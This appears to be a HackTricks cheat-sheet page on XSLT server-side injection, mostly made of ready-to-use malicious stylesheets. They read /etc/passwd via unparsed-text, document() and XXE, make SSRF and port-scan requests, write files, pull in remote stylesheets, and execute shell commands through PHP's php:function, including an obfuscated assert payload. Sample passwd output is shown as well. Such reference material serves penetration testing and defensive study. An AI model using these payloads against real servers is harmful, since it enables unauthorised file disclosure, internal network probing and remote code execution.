17 KiB
XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
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Basic Information
XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.
The frameworks that are most frequently used include:
- Libxslt from Gnome,
- Xalan from Apache,
- Saxon from Saxonica.
For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.
Example - Tutorial
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
{% code title="xml.xml" %}
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
{% endcode %}
{% code title="xsl.xsl" %}
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
{% endcode %}
Execute:
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>
Fingerprint
{% code title="detection.xsl" %}
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
{% endcode %}
And execute
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
Read Local File
{% code title="read.xsl" %}
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
{% endcode %}
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
SSRF
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
Versions
There might be more or less functions depending on the XSLT version used:
Fingerprint
Upload this and take information
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
SSRF
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
Javascript Injection
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
Directory listing (PHP)
Opendir + readdir
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
Assert (var_dump + scandir + false)
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
Read files
Internal - PHP
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
Internal - XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
Through HTTP
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
Internal (PHP-function)
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
Port scan
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
Write to a file
XSLT 2.0
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
Xalan-J extension
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
Other ways to write files in the PDF
Include external XSL
<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
Execute code
php:function
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
Execute code using other frameworks in the PDF
More Languages
In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)
Access PHP static functions from classes
The following function will call the static method stringToUrl
of the class XSL:
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
(Example from http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)
More Payloads
- Check https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection
- Check https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
References
- XSLT_SSRF\
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf\
- http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf
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- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.